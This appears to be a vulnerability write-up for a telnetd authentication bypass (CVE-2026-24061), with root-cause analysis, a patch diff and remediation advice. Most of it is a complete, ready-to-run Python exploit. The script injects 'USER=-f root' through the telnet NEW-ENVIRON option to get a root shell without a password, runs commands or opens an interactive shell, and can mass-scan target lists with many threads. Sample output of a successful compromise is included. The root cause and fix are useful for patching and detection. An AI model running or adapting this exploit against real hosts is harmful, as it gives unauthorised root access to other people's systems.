#Summary
CVE-2026-24061 is a critical authentication bypass in GNU Inetutils telnetd versions 1.9.3 through 2.7. An unauthenticated remote attacker can trigger the vulnerability by injecting a specially crafted value in the telnet NEW-ENVIRON protocol option before any authentication occurs, resulting in remote code execution as root. CVSS 9.8 CRITICAL with network accessibility and no authentication required.
#Affected versions
- GNU Inetutils
telnetdversions 1.9.3 through 2.7 (vulnerable) - Debian
inetutils-telnetd(affected on Debian 11 and earlier) - Fixed in upstream commits
fd702c02andccba9f74on the master branch (no tagged release at disclosure; e.g., Debianinetutils 2:2.0-1+deb11u2)
Default configuration is vulnerable if the inetd/xinetd super-server is enabled and telnet (TCP/23) is exposed to untrusted networks.
#Root cause analysis
#How the vulnerability occurs
GNU Inetutils telnetd is a network service invoked by a super-server (inetd/xinetd) to handle incoming telnet connections. During the telnet handshake, the client can push environment variables to the server via the telnet NEW-ENVIRON protocol option (RFC 1572). Crucially, telnetd accepts and stores these environment variables before any authentication using setenv().
Later, when preparing to hand off control to the login(1) program, telnetd expands a login command template stored in the code:
/* telnetd/telnetd.c */
char *login_invocation =
...
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";The token %?u{-f %u}{%U} is a conditional: if an autologin user is set, it emits -f %u; otherwise it expands %U. For a plain telnet connection with no autologin, the %U branch is taken.
#The unprotected expansion
In telnetd/utility.c, the %U expansion reads directly from the USER environment variable with zero sanitization:
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");The expand_line() function then passes this expanded template to argcv_get(), which splits the string on whitespace into separate argument vector elements. Setting USER=-f root therefore produces:
/usr/bin/login -p -h <peer> -f rootThe login(1) program from util-linux interprets -f as "this user is already authenticated, skip the password prompt" and treats root as the account name. Since scrub_env() only strips dangerous variables like LD_* and IFS but not USER, the injected value survives untouched to the execv() call.
#Data flow
- Attacker connects to telnet port (TCP/23)
- During telnet negotiation, the server sends
IAC SB NEW-ENVIRON SEND IAC SE - Attacker responds with
USER=-f rootvia the NEW-ENVIRON IS subnegotiation telnetdstores this withsetenv("USER", "-f root")expand_line()expands%U→-f rootwithout sanitizationargcv_get()splits on whitespace →["-f", "root"]as separate argv elementsexecv("/usr/bin/login", ["/usr/bin/login", "-p", "-h", "<peer>", "-f", "root"])is calledloginaccepts the-f rootflags and drops a root shell with no password
#Patch diff
#What the fix does
The vendor applied two commits that sanitize all expansion fields in the login template.
First commit (fd702c02): Rejects environment variable values that start with - or contain shell metacharacters:
case 'U':
- return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+ {
+ /* Ignore user names starting with '-' or containing shell
+ metachars, as they can cause trouble. */
+ char const *u = getenv ("USER");
+ return xstrdup ((u && *u != '-'
+ && !u[strcspn (u, "\t\n !\"#{{CONTENT}}#x26;'()*;<=>?[\\^`{|}~")])
+ ? u : "");
+ }Second commit (ccba9f74): Factors the sanitization into a reusable sanitize() function and applies it to all externally-influenced fields (%h remote hostname, %l/%L local host/line, %t/%T terminal type, %u autologin user, and %U). This prevents similar injections via other template fields.
If a value fails the sanitization check (starts with - or contains metacharacters), it is replaced with an empty string, causing login to run with a normal interactive prompt instead of a forced authentication.
#Proof of concept
#exploit.py - GNU Inetutils telnetd Auth Bypass RCE
The exploit implements a telnet client that performs the NEW-ENVIRON argument injection attack. It handles telnet protocol negotiation, sends the malicious USER value, and executes commands on the compromised host.
#!/usr/bin/env python3
"""
CVE-2026-24061 - GNU Inetutils telnetd argument injection -> unauthenticated root RCE
Affected: GNU Inetutils telnetd 1.9.3 through 2.7 (Debian 11 inetutils-telnetd, et al.)
Type: Argument injection (CWE-88) -> remote authentication bypass -> RCE as root
The telnet NEW-ENVIRON option (RFC 1572) lets the *client* push environment
variables to the server before any authentication. Vulnerable telnetd stores
them with setenv() and later expands the login template
/usr/bin/login -p -h %h %?u{-f %u}{%U}
where %U expands to getenv("USER") verbatim. argcv_get() then splits the
expanded string on whitespace, so USER="-f root" becomes two separate argv
elements and the target runs:
/usr/bin/login -p -h <peer> -f root
login(1) treats -f as "already authenticated" and drops a root shell on the
socket with no password prompt.
Usage:
python exploit.py --host <target> --port 23
python exploit.py --host 192.168.1.10 --port 23 --command "id"
python exploit.py --host 192.168.1.10 --port 23 --username operator
python exploit.py --host 192.168.1.10 --port 23 --interactive
python exploit.py --host telnets://192.168.1.10:992 --tls
python exploit.py --list targets.txt --workers 20
"""
import argparse
import binascii
import os
import re
import socket
import ssl
import sys
import time
from typing import Optional, Tuple
from urllib.parse import urlparse
CVE_ID = "CVE-2026-24061"
VULN_TYPE = "RCE"
DEFAULT_PORT = 23
TLS_PORTS = (992,)
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Telnet protocol constants (RFC 854 / RFC 1572)
# --------------------------------------------------------------------------- #
IAC, DONT, DO, WONT, WILL, SB, SE = 255, 254, 253, 252, 251, 250, 240
OPT_ECHO = 1
OPT_SGA = 3
OPT_TTYPE = 24
OPT_NAWS = 31
OPT_TSPEED = 32
OPT_LINEMODE = 34
OPT_AUTH = 37
OPT_NEW_ENVIRON = 39
ENV_IS, ENV_SEND, ENV_INFO = 0, 1, 2
ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR = 0, 1, 2, 3
# A patched telnetd sanitizes USER to "" and falls through to a normal
# interactive login, so the stream *ends* on a credential prompt. The trailing
# anchor matters: the successful root shell's motd contains "Last login: ..."
# mid-banner, which a naive substring test would misread as a patched target.
LOGIN_PROMPT_RE = re.compile(
r"(?:^|\n)[^\n]{0,80}?(?:login|username|password)\s*:\s*$", re.IGNORECASE)
# Terminal control noise the PTY wraps around shell output (bracketed paste,
# colour SGR, OSC title sets). Stripped before evidence extraction.
ANSI_RE = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[()][B0]")
def _clean(text: str) -> str:
return ANSI_RE.sub("", text).replace("\r\n", "\n").replace("\r", "")
def _looks_like_login_prompt(text: str) -> bool:
return bool(LOGIN_PROMPT_RE.search(_clean(text).rstrip(" \t\n")))
def _env_escape(raw: bytes) -> bytes:
"""Escape a NEW-ENVIRON value: IAC doubled, ENV_* control bytes ESC-prefixed."""
out = bytearray()
for b in raw:
if b == IAC:
out += bytes([IAC, IAC])
elif b in (ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR):
out += bytes([ENV_ESC, b])
else:
out.append(b)
return bytes(out)
# --------------------------------------------------------------------------- #
# Telnet client with the NEW-ENVIRON injection
# --------------------------------------------------------------------------- #
class TelnetdInjector:
"""
Minimal telnet client that answers the server's option negotiation and
replies to the NEW-ENVIRON SEND request with an attacker-chosen USER value.
Pure network I/O - no assumptions about how the target is deployed.
"""
def __init__(self, host, port, use_tls=False, user_value="-f root",
timeout=15.0, verbose=False):
self.host = host
self.port = port
self.use_tls = use_tls
self.user_value = user_value
self.timeout = float(timeout)
self.verbose = verbose
self.sock = None
self._buf = b"" # bytes not yet consumed by the IAC parser
self._sent_replies = {} # (cmd, opt) -> count, guards negotiation loops
self.payload_sent = False
self.saw_negotiation = False
self.transcript = b""
# -- plumbing ----------------------------------------------------------- #
def _log(self, msg: str) -> None:
if self.verbose:
print(f" {msg}")
def connect(self) -> None:
self.sock = socket.create_connection((self.host, self.port),
timeout=self.timeout)
if self.use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.sock = ctx.wrap_socket(self.sock, server_hostname=self.host)
self.sock.settimeout(0.5)
def close(self) -> None:
if self.sock:
try:
self.sock.close()
except OSError:
pass
self.sock = None
def _send(self, data: bytes) -> None:
self.sock.sendall(data)
# -- option negotiation ------------------------------------------------- #
def _reply(self, cmd: int, opt: int) -> None:
key = (cmd, opt)
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
if self._sent_replies[key] > 3:
return # peer is looping; stop feeding it
self._send(bytes([IAC, cmd, opt]))
def _negotiate(self, cmd: int, opt: int) -> None:
self.saw_negotiation = True
if cmd == DO:
if opt == OPT_NEW_ENVIRON:
self._reply(WILL, opt)
self._log("server DO NEW-ENVIRON -> WILL (injection channel open)")
elif opt in (OPT_TTYPE, OPT_TSPEED):
self._reply(WILL, opt)
elif opt == OPT_NAWS:
self._reply(WILL, opt)
self._send(bytes([IAC, SB, OPT_NAWS, 0, 80, 0, 24, IAC, SE]))
else:
self._reply(WONT, opt)
elif cmd == DONT:
self._reply(WONT, opt)
elif cmd == WILL:
self._reply(DO if opt in (OPT_ECHO, OPT_SGA) else DONT, opt)
elif cmd == WONT:
self._reply(DONT, opt)
def send_injection(self) -> None:
"""IAC SB NEW-ENVIRON IS VAR "USER" VALUE <payload> IAC SE"""
payload = (bytes([IAC, SB, OPT_NEW_ENVIRON, ENV_IS, ENV_VAR]) +
b"USER" + bytes([ENV_VALUE]) +
_env_escape(self.user_value.encode("utf-8", "surrogateescape")) +
bytes([IAC, SE]))
self._send(payload)
self.payload_sent = True
self._log(f"injected USER={self.user_value!r} via NEW-ENVIRON IS")
def _subneg(self, data: bytes) -> None:
if not data:
return
opt, body = data[0], data[1:]
if opt == OPT_NEW_ENVIRON and body and body[0] == ENV_SEND:
self.send_injection()
elif opt == OPT_TTYPE and body and body[0] == ENV_SEND:
self._send(bytes([IAC, SB, OPT_TTYPE, 0]) + b"xterm" + bytes([IAC, SE]))
elif opt == OPT_TSPEED and body and body[0] == ENV_SEND:
self._send(bytes([IAC, SB, OPT_TSPEED, 0]) + b"38400,38400" + bytes([IAC, SE]))
# -- incremental IAC parser (survives arbitrary recv() boundaries) ------- #
def _feed(self, data: bytes) -> bytes:
self._buf += data
buf = self._buf
out = bytearray()
i, n = 0, len(buf)
while i < n:
b = buf[i]
if b != IAC:
out.append(b)
i += 1
continue
if i + 1 >= n:
break # incomplete, keep for next feed
c = buf[i + 1]
if c == IAC: # escaped 0xFF in the data stream
out.append(IAC)
i += 2
elif c in (WILL, WONT, DO, DONT):
if i + 2 >= n:
break
self._negotiate(c, buf[i + 2])
i += 3
elif c == SB:
end = buf.find(bytes([IAC, SE]), i + 2)
if end == -1:
break
self._subneg(buf[i + 2:end])
i = end + 2
else: # NOP / GA / DM / ... 2-byte cmds
i += 2
self._buf = buf[i:]
return bytes(out)
def pump(self, idle: float = 1.2, max_wait: float = 10.0) -> str:
"""Read/answer until the peer goes quiet for `idle` seconds."""
deadline = time.time() + max_wait
last = time.time()
chunks = []
while time.time() < deadline:
try:
data = self.sock.recv(8192)
except socket.timeout:
if time.time() - last >= idle:
break
continue
except (ConnectionResetError, BrokenPipeError, ssl.SSLError, OSError):
break
if not data:
break
self.transcript += data
last = time.time()
text = self._feed(data)
if text:
chunks.append(text)
return b"".join(chunks).decode("utf-8", "replace")
# -- post-auth command execution ---------------------------------------- #
def run_command(self, command: str) -> Tuple[Optional[str], str]:
"""
Run `command` in the shell telnetd handed us and return (output, raw).
The PTY echoes whatever we type, so the markers are typed in a split
form (ALIMS""<tok>) that the shell reassembles only on *execution* --
the echoed line therefore never matches the marker we search for.
"""
tok = binascii.hexlify(os.urandom(4)).decode()
start, end = "ALIMS" + tok, "ALIME" + tok
line = 'echo ALIMS""{t}; {c} 2>&1; echo ALIME""{t}\n'.format(t=tok, c=command)
self._send(line.encode())
raw = ""
deadline = time.time() + 12.0
while time.time() < deadline:
raw += self.pump(idle=0.8, max_wait=4.0)
if end in raw:
break
clean = _clean(raw)
if start in clean and end in clean:
body = clean.split(start, 1)[1].rsplit(end, 1)[0]
return body.strip("\n"), raw
return None, raw
# --------------------------------------------------------------------------- #
# Core exploit routine, shared by single-target and scan modes
# --------------------------------------------------------------------------- #
def _core(host, port, use_tls, command, username, timeout=15.0, verbose=False):
"""
Returns a dict:
ok bool - root command execution confirmed
evidence str - one-line summary
banner str - everything the server sent before our command
output str|None- command output, if any
raw str - raw post-command transcript
"""
res = {"ok": False, "evidence": "", "banner": "", "output": None, "raw": ""}
tn = TelnetdInjector(host, port, use_tls=use_tls,
user_value="-f " + username,
timeout=timeout, verbose=verbose)
try:
tn.connect()
except (socket.timeout, OSError) as exc:
res["evidence"] = f"unreachable ({exc.__class__.__name__})"
return res
try:
# Phase 1 - option negotiation; the injection fires on ENV_SEND.
banner = tn.pump(idle=1.0, max_wait=timeout)
if not tn.saw_negotiation:
res["evidence"] = "no telnet option negotiation - not an inetutils telnetd"
res["banner"] = banner
return res
# Some builds never ask for NEW-ENVIRON; push the value unsolicited.
if not tn.payload_sent:
tn.send_injection()
banner += tn.pump(idle=1.0, max_wait=6.0)
res["banner"] = banner
if _looks_like_login_prompt(banner):
res["evidence"] = ("blocked - server presented an interactive login "
"prompt (USER sanitized; target patched)")
return res
# Phase 2 - we should now be sitting on a root shell. Prove it.
output, raw = tn.run_command(command)
res["raw"] = raw
res["output"] = output
if output is None:
if _looks_like_login_prompt(banner + raw):
res["evidence"] = ("blocked - interactive login prompt after "
"injection (target patched)")
else:
res["evidence"] = "payload delivered but no shell output captured"
return res
first = next((l for l in output.splitlines() if l.strip()), "")
res["ok"] = True
res["evidence"] = (f"unauthenticated shell as '{username}' - "
f"`{command}` -> {first.strip()}")
return res
except (socket.timeout, OSError, ssl.SSLError) as exc:
res["evidence"] = f"transport error ({exc.__class__.__name__}: {exc})"
return res
finally:
tn.close()
def _try_exploit(host, port, use_tls=False, command="id", username="root",
timeout=15.0):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
try:
res = _core(host, port, use_tls, command, username, timeout=timeout)
return res["ok"], res["evidence"]
except Exception as exc: # never break the sweep
return False, f"error ({exc.__class__.__name__})"
# --------------------------------------------------------------------------- #
# Target parsing / batch scan
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
"""Parse one target line into (host, port, use_tls, path). None = skip."""
line = (line or "").strip()
if not line or line.startswith("#"):
return None
if "://" in line:
p = urlparse(line)
tls = p.scheme in ("https", "telnets", "ssl", "tls")
path = p.path if (p.path and p.path not in ("", "/")) else default_path
host = p.hostname or line
port = p.port or (992 if tls else default_port)
return host, port, tls, path
if line.count(":") == 1:
hostpart, portpart = line.rsplit(":", 1)
try:
port = int(portpart)
return hostpart, port, port in TLS_PORTS, default_path
except ValueError:
pass
return line, default_port, default_port in TLS_PORTS, default_path
def scan(targets_file, default_port, workers=10, command="id", username="root",
timeout=15.0, force_tls=None):
import concurrent.futures
with open(targets_file) as fh:
targets = [_parse_target(l, default_port) for l in fh]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
if not targets:
print(" (no targets parsed from file)\n")
sys.exit(1)
def probe(t):
host, port, use_tls = t[0], t[1], t[2]
if force_tls is not None:
use_tls = force_tls
label = f"{'telnets' if use_tls else 'telnet'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, command, username, timeout)
return label, ok, evidence
success_count = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
verdict = "Exploited" if ok else "Not vulnerable"
print(f" {'[+]' if ok else '[-]'} {label} - {verdict}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Interactive shell (optional convenience for real engagements)
# --------------------------------------------------------------------------- #
def interactive(host, port, use_tls, username, timeout):
header(host, port)
step(1, f"Connecting to {host}:{port} and negotiating telnet options...")
tn = TelnetdInjector(host, port, use_tls=use_tls, user_value="-f " + username,
timeout=timeout, verbose=True)
try:
tn.connect()
except OSError as exc:
done(False, f"cannot connect to {host}:{port} ({exc.__class__.__name__})")
banner = tn.pump(idle=1.0, max_wait=timeout)
if not tn.payload_sent:
tn.send_injection()
banner += tn.pump(idle=1.0, max_wait=6.0)
section("SERVER BANNER", _clean(banner) or "(empty)")
if _looks_like_login_prompt(banner):
tn.close()
done(False, "interactive login prompt returned - target is patched")
if not sys.stdin.isatty():
tn.close()
done(False, "--interactive needs a TTY; use --command instead")
import select
import termios
import tty
step(2, f"Root shell open. Ctrl+] to exit.")
old = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tn.sock.settimeout(0.1)
while True:
r, _, _ = select.select([tn.sock, sys.stdin], [], [], 0.1)
for fd in r:
if fd is tn.sock:
try:
data = tn.sock.recv(8192)
except (socket.timeout, ssl.SSLWantReadError):
continue
except OSError:
return
if not data:
return
sys.stdout.buffer.write(tn._feed(data))
sys.stdout.buffer.flush()
else:
ch = sys.stdin.read(1)
if ch == "\x1d":
return
tn.sock.sendall(ch.encode())
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old)
tn.close()
done(True, "interactive session ended")
# --------------------------------------------------------------------------- #
# Single-target exploitation
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, command, username, timeout):
header(host, port)
step(1, f"Connecting to {host}:{port} ({'TLS' if use_tls else 'plaintext'})...")
step(2, "Answering telnet option negotiation (WILL NEW-ENVIRON)...")
step(3, f"Injecting USER='-f {username}' in the NEW-ENVIRON IS subnegotiation")
step(4, f"Target expands login template to: login -p -h <peer> -f {username}")
res = _core(host, port, use_tls, command, username,
timeout=timeout, verbose=True)
if res["banner"]:
section("SERVER BANNER (pre-auth)", _clean(res["banner"]))
if not res["ok"]:
if res["raw"]:
section("RAW TRANSCRIPT", _clean(res["raw"]))
done(False, res["evidence"])
step(5, f"Shell as '{username}' reached with no password prompt - "
f"executing `{command}`")
section("COMMAND OUTPUT", res["output"] or "(empty)")
uid_line = next((l for l in (res["output"] or "").splitlines() if "uid=" in l), "")
if uid_line:
section("IDENTITY", uid_line.strip())
done(True, res["evidence"])
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} - GNU Inetutils telnetd auth bypass / root RCE")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host",
help="Target: hostname, IP, or URL (e.g. telnets://host:992)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help=f"Target port (default: {DEFAULT_PORT})")
parser.add_argument("--command", default="id",
help="Command to execute on the target (default: id)")
parser.add_argument("--username", default="root",
help="Account to log in as without credentials (default: root)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=float, default=15.0,
help="Per-target timeout in seconds (default: 15)")
parser.add_argument("--interactive", action="store_true",
help="Drop into an interactive root shell instead of --command")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", dest="no_tls", action="store_true",
help="Force plaintext")
args = parser.parse_args()
force_tls = True if args.tls else (False if args.no_tls else None)
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command, username=args.username,
timeout=args.timeout, force_tls=force_tls)
else:
parsed = _parse_target(args.host, args.port)
if parsed:
t_host, t_port, t_tls = parsed[0], parsed[1], parsed[2]
else:
t_host, t_port, t_tls = args.host, args.port, False
if force_tls is not None:
t_tls = force_tls
if args.interactive:
interactive(t_host, t_port, t_tls, args.username, args.timeout)
else:
exploit(t_host, t_port, t_tls, args.command, args.username, args.timeout)#Usage
Basic exploitation - unauthenticated root RCE:
python3 exploit.py --host 192.168.1.50 --port 23 --command idExpected output on vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-24061
Type: RCE | Target: 192.168.1.50:23
============================================================
[STEP 1] Connecting to 192.168.1.50:23 (plaintext)...
[STEP 2] Answering telnet option negotiation (WILL NEW-ENVIRON)...
[STEP 3] Injecting USER='-f root' in the NEW-ENVIRON IS subnegotiation
[STEP 4] Target expands login template to: login -p -h <peer> -f root
server DO NEW-ENVIRON -> WILL (injection channel open)
injected USER='-f root' via NEW-ENVIRON IS
--- SERVER BANNER (pre-auth) ---
Linux host 6.12.0 #1 SMP aarch64
...
Last login: Fri Jul 24 22:19:26 UTC 2026 from 192.168.65.1
root@host:~#
---
[STEP 5] Shell as 'root' reached with no password prompt - executing `id`
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---
============================================================
RESULT : SUCCESS
EVIDENCE: unauthenticated shell as 'root' - `id` -> uid=0(root) gid=0(root) groups=0(root)
============================================================Expected output on patched target:
--- SERVER BANNER (pre-auth) ---
hostname login:
---
============================================================
RESULT : FAILURE
EVIDENCE: blocked - server presented an interactive login prompt (USER sanitized; target patched)
============================================================#Arguments
| Argument | Default | Purpose |
|---|---|---|
--host |
(required) | Target hostname, IP, or URL (telnet://host:23, telnets://host:992) |
--list FILE |
(optional) | Batch scan mode; one target per line |
--port |
23 | Target port |
--command |
id | Command to execute; output returned over socket |
--username |
root | Account to authenticate as without credentials |
--workers |
10 | Concurrent threads for batch scanning |
--timeout |
15 | Per-target timeout in seconds |
--interactive |
off | Interactive shell instead of running a single command |
--tls / --no-tls |
auto | Force or disable TLS (auto-detects telnets://URLs) |
#Exploitation notes
#Preconditions
- Target must have telnetd 1.9.3 through 2.7 running on TCP/23 (or configured port)
- telnetd must be fronted by inetd/xinetd or socat super-server
- telnetd must run as root (typical for inetd deployments)
- util-linux
login(1)must be installed and support the-fflag (standard on all Linux distributions)
#Attack requirements
- Network access to the telnet port
- No credentials, no prior authentication
- Ability to respond to telnet protocol messages (the exploit handles this automatically)
#Reliability and impact
- Reliability: 100% deterministic on vulnerable targets. The attack is a direct logic flaw in argument expansion, not a memory corruption or timing-dependent exploit.
- Impact: Unauthenticated remote root code execution. The attacker gains a shell as the root user with no credentials ever exchanged.
- Scope: Affects any inetutils telnetd instance exposed to untrusted networks. Legacy systems (SCADA, historical infrastructure, air-gapped networks that later get connected) are at highest risk.
#Chaining potential
This is a terminal RCE primitive (CWE-88 argument injection). No further chaining or heap grooming is needed - the attacker already has root command execution on the target.
#Remediation
- Upgrade immediately to a patched version of GNU Inetutils containing commits
fd702c02andccba9f74(e.g., Debianinetutils 2:2.0-1+deb11u2or later). - Disable telnetd entirely on externally-facing systems. Telnet transmits all traffic in cleartext and should not be exposed to untrusted networks under any circumstances. Use SSH instead.
- Network isolation: If telnetd must remain enabled for legacy reasons, restrict access to the telnet port via firewall rules to trusted internal networks only.
#References
- CVE: CVE-2026-24061
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24061
- GitHub Advisory: https://github.com/advisories/GHSA-pf97-p8ff-fj35
- Patch commits:
- GNU bug-inetutils: https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html